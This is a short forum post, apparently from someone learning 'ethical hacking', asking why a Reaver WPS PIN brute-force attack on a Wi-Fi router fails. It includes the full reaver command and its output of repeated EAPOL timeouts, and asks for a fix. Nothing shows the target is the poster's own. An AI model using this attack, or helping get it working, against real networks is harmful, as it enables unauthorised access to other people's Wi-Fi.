Hi.
I am learning ethical Hacking, and these days i am stuck on network hacking. When I use the was command it shows me Networks with WPS.

I use the reaver command to gain access.

Code:
reaver --bssid xx:xx:xx:xx:xx:xx --channel 2 -d 30 -S -N --interface wlan0 -vv


This is the code that i use, but It doesn't work. The following is the outcome.

Reaver v1.6.6-git-9-gd6c931c WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>

[+] Switching wlan0 to channel 2
[+] Waiting for beacon from xx:xx:xx:xx:xx:xx
[+] Received beacon from xx:xx:xx:xx:xx:xx
[+] Vendor: RalinkTe

[+] Trying pin "12345670"
[+] Sending authentication request
[+] Sending association request
[+] Associated with xx:xx:xx:xx:xx:xx (ESSID: ------)
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[!] WARNING: 10 successive start failures
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin


Please tell me the solution to this problem. I searched one it said to use an older version of reaver. But I cant Find it. Please help me!